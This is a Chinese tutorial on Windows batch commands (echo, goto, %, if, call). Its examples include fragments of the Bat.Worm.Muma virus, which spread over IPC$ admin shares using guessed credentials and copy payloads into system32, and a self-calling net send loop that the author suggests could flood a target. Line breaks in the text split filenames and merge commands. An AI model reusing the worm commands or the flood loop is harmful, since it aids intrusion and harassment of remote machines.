先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎麼寫的!!)。已經給出了每一行命令的解釋,兩個冒號後面的內容為前一行內容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這麼懶?),在指令碼執行時不顯示,也不起任何作用。倒數第5行行首有一個冒號,可不是筆誤哦!具體作用後面會詳細講到。此指令碼中masm和link是彙編程式和連線程式,必須和edit程式以及你要編輯的原始碼(當然還有這個指令碼,廢話!)一起在當前目錄中。使用這個批處理指令碼,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現從彙編原始碼到可執行exe檔案的自動化轉換,並具備智慧判斷功能:如果彙編時原始碼出現錯誤(彙編不成功),則自動暫停顯示錯誤資訊,並在按任意鍵後自動進入編輯原始碼介面;如果原始碼彙編成功,則進行連線,並在連線後自動執行生成的exe檔案。另外,由於批處理命令的簡單性和靈活性,這個指令碼還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學彙編的朋友,一定別忘了實習一下!
在這個指令碼中出現瞭如下幾個命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。
1、@
這個符號大家都不陌生,email的必備符號,它怎麼會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執行視窗中不顯示它後面這一行的命令本身(多麼繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓指令碼在執行時不顯示後面的echo off部分。這下懂了吧?還是不太懂?沒關係,看完echo命令簡介,自然就懂了。
2、echo
中文為“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態:開啟和關閉。於是就有了echo on和echo off兩個命令了。直接執行echo命令將顯示當前echo命令狀態(off或on)執行echo off將關閉回顯,它後面的所有命令都不顯示命令本身,只顯示執行後的結果,除非執行echo on命令。在例五中,首行的@命令和echo off命令聯合起來,達到了兩個目的:不顯示echo off命令本身,不顯示以後各行中的命令本身。的確是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!
echo命令的另一種用法一:可以用它來顯示資訊!如例五中倒數第二行,Default BAT file name is
START.BAT
將在指令碼執行後的視窗中顯示,而echo命令本身不顯示(為什麼??)。echo命令的另一種用法二:可以直接編輯文字檔案。例六:
echo nbtstat -A 192.168.0.1 >
a.bat
echo nbtstat -A 192.168.0.2 >>
a.bat
echo nbtstat -A 192.168.0.3 >>
a.bat
以上指令碼內容的編輯方法是,直接是命令列輸入,每行一回車。最後就會在當前目錄下生成一個
a.bat
的檔案,直接執行就會得到結果。3、::
這個命令的作用很簡單,它是註釋命令,在批處理指令碼中和rem命令等效。它後面的內容在執行時不顯示,也不起任何作用,因為它只是註釋,只是增加了指令碼的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。
4、pause
中文為“暫停”的意思(看看你的workman上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程式程序暫停一下,並顯示一行資訊:請按任意鍵繼續. . .。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程式資訊,第二個是顯示錯誤的彙編程式碼資訊(其實不是它想顯示,而是masm程式在顯示錯誤資訊時被暫它停了,以便讓你看清楚你的原始碼錯在哪裡)。
5、:和goto
為什麼要把這兩個命令聯合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉命令,:是一個標籤。當程式執行到goto時,將自動跳轉到:定義的部分去執行了(是不是分不開?)。例五中倒數第5行行首出現一個:,則程式在執行到goto時就自動跳轉到:標籤定義的部分執行,結果是顯示指令碼usage(usage就是標籤名稱)。不難看出,goto命令就是根據這個冒號和標籤名稱來尋找它該跳轉的地方,它們是一一對應的關係。goto命令也經常和if命令結合使用。至於這兩個命令具體用法,參照例五。
goto命令的另一種用法一:提前結束程式。在程式中間使用goto命令跳轉到某一標籤,而這一標籤的內容卻定義為退出。如:
……
goto end
……
:end
這裡:end在指令碼最後一行!其實這個例子很弱智,後面講了if命令和組合命令你就知道了。
6、%
這個百分號嚴格來說是算不上命令的,它只是批處理中的引數而已(多個%一起使用的情況除外,以後還將詳細介紹),但千萬別以為它只是引數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七:
net use \\%1\ipc$ %3 /u:"%2"
copy
11.BAT
\\%1\admin$\system32 /ycopy
13.BAT
\\%1\admin$\system32 /ycopy
ipc2.BAT
\\%1\admin$\system32 /ycopy
NWZI.EXE
\\%1\admin$\system32 /yattrib \\%1\admin$\system32\
10.bat
-r -h -s以上程式碼是
Bat.Worm.Muma
病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執行形式為:指令碼檔名 引數一 引數二 ……。假設這個指令碼被儲存為a.bat
,則執行形式如下:a IP username password。這裡IP、username、password是三個引數,缺一不可(因為程式不能正確執行,並不是因為少了引數語法就不對)這樣在指令碼執行過程中,指令碼就自動用用你的三個引數依次(記住,是依次!也是一一對應的關係。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在指令碼中直接把IP、username和password都定義死,那麼指令碼的作用也就被固定了,但如果使用%的話,不同的引數可以達到不同的目的,是不是更靈活?)。關於這個引數的使用,在後續章節中還將介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!
這一章就寫到這裡了。可能有朋友問了:怎麼沒介紹if命令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點東西,如果你是初學者,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個都可以被用在批處理指令碼中去完成特定的功能。到這裡,你是否已經想到了用自己肚子裡的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個DOS命令的集合而已,相信自稱為天才的你已經會把計算機等級考試上機試題中的DOS部分用批處理來自動化完成了。
煩!就好象一個半老女人到了更年期,什麼事都想嘮叨幾句,什麼事都感到不舒服,看誰誰不爽。明知山有虎,偏向虎山行,最後留下一身傷痕無功而返時,才發現自己竟然如此脆弱,如此渺小,如此不堪一擊。徘徊在崩潰的邊緣,突然回想起了自己最後一次扁人的那一刻,還真有點懷念(其實我很不喜歡扁人,更不喜歡被人扁)。我需要發洩,我用手指拼命的敲打著鍵盤,在一陣接一陣有節奏的聲音中,螢幕上出現了上面的這些文字。可難道這就是發洩的另一種方式嗎?華人還是厲害,早在幾千年前孔老夫子就說過“唯女子與小人,難養也”,真**有先見之明,佩服!雖然是在發洩,不過大家請放心,以我的脾氣,既然決定寫這篇教程,就一定會盡力去寫好,寫完美,絕對不給自己留下遺憾,要不這教程就不是我寫的!
曾經有一篇經典的批處理教程出現在你的螢幕上,你沒有儲存,直到找不到它的連結你才後悔莫及,人世間最大的痛苦莫過於此。如果上天能給你一個再看一次的機會,你會對那篇教程說三個字:我愛你!如果非要給這份愛加上一個期限,你希望是100年。因為100年後,你恐怕早已經掛了!而現在,你的螢幕上出現了這篇你正在看的批處理教程,雖然不如你曾經看的那篇經典,但如果勉強還過的去。你會愛它嗎?時間會有50年那麼長嗎?答案是:試試看吧。
批處理指令碼中最重要的幾個命令,將在這一章詳細介紹,但是很遺憾,有些細節到現在我都沒掌握的很好,甚至還有些生分。如同還不太懂得愛一樣。但我一直都在努力,即使一直都沒有收穫。所以可能講的會比較籠統,但我會告訴你方法,剩下的就是時間問題了,需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒,滴水穿石非一日之功。有些事情,比如學批處理,比如愛一個人,都是不能速成的,甚至還會有付出艱辛而收穫為甚微的情況。再次重申,看這篇教程的時候,一定要靜下心來,除非你已經掌握了這篇教程的所有東西----但那也就不必看了,浪費時間!
7、if
接上一章,接著講if命令。總的來說,if命令是一個表示判斷的命令,根據得出的每一個結果,它都可以對應一個相應的操作。關於它的三種用法,在這裡分開講。
(1)、輸入判斷。還是用例五里面的那幾句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="" goto usage
這裡判斷輸入的引數情況,如果引數為空(無引數),則跳轉到usage;如果引數為/?或help時(大家一般看一個命令的幫助,是不是輸入的/?或help呢,這裡這麼做只是為了讓這個指令碼看起來更像一個真正的程式),也跳轉到usage。這裡還可以用否定形式來表示“不等於”,例如:if not "%1"=="" goto usage,則表示如果輸入引數不為空就跳轉到usage(實際中這樣做就沒意義了,這裡介紹用法,管不了那麼多了,呵呵。)是不是很簡單?其實翻譯成中文體會一下就understand了。
(2)、存在判斷。再看例二里這句:
if exist C:\Progra~1\Tencent\AD\*
.gif
del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif檔案,就刪除這些檔案。當然還有例四,都是一樣的道理。注意,這裡的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif檔案則退出指令碼”:if not exist C:\Progra~1\Tencent\AD\*
.gif
exit。只是多一個not來表示否定而已。(3)、結果判斷。還是拿例五開刀(沒想到自己寫的指令碼,竟然用處這麼大,呵呵):
masm %
1.asm
if errorlevel 1 pause & edit %
1.asm
link %
1.obj
先對原始碼進行彙編,如果失敗則暫停顯示錯誤資訊,並在按任意鍵後自動進入編輯介面;否則用link程式連線生成的obj檔案。這裡只介紹一下和if命令有關的地方,&命令後面會講到。這種用法是先判斷前一個命令執行後的返回碼(也叫錯誤碼,DOS程式在執行完後都有返回碼),如果和定義的錯誤碼符合(這裡定義的錯誤碼為1),則執行相應的操作(這裡相應的操作為pause & edit %
1.asm
部分)。另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,程式碼變為:
masm %
1.asm
if not errorlevel 1 link %
1.obj
pause & edit %
1.asm
看到本質了吧?其實只是把結果判斷後所執行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執行成功(因為它是錯誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執行成功)。這裡是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功指令碼就肯定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個指令碼,然後把有not和沒有not的情況,返回碼為0或1的情況分別寫進去執行(怎麼,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?後面介紹管道命令和組合命令時還有更麻煩的呢!怕了?呵呵。),這樣從執行的結果中就能很清楚的看出這兩種情況的區別。
這種用errorlevel結果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。以上程式碼必須變成:
masm %
1.asm
if exist %
1.obj
link %1.obj
else pause & edit %
1.asm
關於if命令的這三種用法就say到這裡,理解很簡單,但應用時就不一定用的那麼得心應手,主要是熟練程度的問題。可能有的朋友有點驚訝,我怎麼沒給出類似下面三行的用法介紹,是因為下面三行是if命令幫助裡對它自身用法的解釋,任何人只要一個“if /?”就能看到,我沒有必要在這裡多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我採用上面自己對if命令的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質上講,這三種用法都是建立在判斷的基礎上的,哲學教我們學會透過現象看事物本質!)。有興趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
學過彙編或C的朋友,肯定都知道call指令表示什麼意思了,在這裡它的意思其實也是一樣的。在批處理指令碼中,call命令用來從一個批處理指令碼中呼叫另一個批處理指令碼。看例八(預設的三個指令碼檔名分別為
start.bat
、10.bat
和ipc.bat
):start.bat:
……
CALL
10.BAT
0……
10.bat:
……
ECHO %IPA%.%1 >
HFIND.TMP
……
CALL
ipc.bat
IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call
HACK.bat
%%i %%j %%k有沒有看出什麼不對的地方?沒看出來啊?沒看出來就對了,其實就沒有不對的地方嘛,你怎麼看的出來!從上面兩個指令碼,你可以得到如下資訊:1、指令碼呼叫可以靈活運用,迴圈運用、重複運用。2、指令碼呼叫可以使用引數!關於第一點就不多說了,聰明的你一看就應該會,這裡說一下第二點。
在
start.bat
中,10.bat
後面跟了引數0,在執行時的效果,其實就是把10.bat
裡的引數%1用0代替。在start.bat
中,ipc.bat
後面跟了引數ipcfind.txt
(一個檔案,也可以做引數),執行時的效果,就是用ipc.bat
中的每一行的三個變數(這裡不懂沒關係,學過for命令後就懂了),對應代換ipc.bat
中的%%i、%%j和%%k。這裡引數呼叫是非常靈活的,使用時需要好好體會。在初學期間,可以先學習只調用指令碼,至於連指令碼的引數一起使用的情況,在後面的學習中自然就會有比較深刻的理解,這是因為當你已經可以靈活運用批處理指令碼後,如何使程式碼寫的更精簡更完美更高效就自然包括到了考慮的範圍,這時候你就會發現在呼叫指令碼時直接加入引數,可以使程式碼效率加倍。By the way,上面的這幾個指令碼,都是Bat.Worm.Muma
病毒的一部分,在後面的教程裡,大家將有機會見到這個病毒的真面目。那是不是說,在同一個目錄下至少存在兩個批處理指令碼檔案(只有一個你呼叫誰?)?呵呵,注意了,這句話錯了!!只有一個照樣可以呼叫----呼叫自身!看例九(預設指令碼檔名
a.bat
):net send %1 This is a call example.
call
a.bat
這兩句一結合,效果自然不怎麼樣,因為只有一臺機器來發訊息,誰怕誰啊?我給你來個禮尚往來!可如果有100臺機器同時執行,而且每臺機器開10和視窗同時向一個目標機器發訊息的話,呵呵。這裡call
a.bat
的作用就是呼叫自身,執行完前一句net send命令後再呼叫自身,達到了迴圈執行的目的。給出一個很有意思的指令碼,有興趣的朋友可以實驗一下。例十(預設指令碼檔名為
a.bat
):call
a.bat
一定要在DOS視窗下執行,否則只會看到一個視窗一閃而過,看不到最後結果。等執行完後,當指令碼被執行了1260次,別忘了想一下到底是為什麼!愛情有時候跟這個指令碼一樣,一旦陷入死迴圈,最後的結果都是意想不到的。只是愛情,絕對不會等到被毫無理由的迴圈這麼多次,也許在第三次時就出現了love is aborted的提示。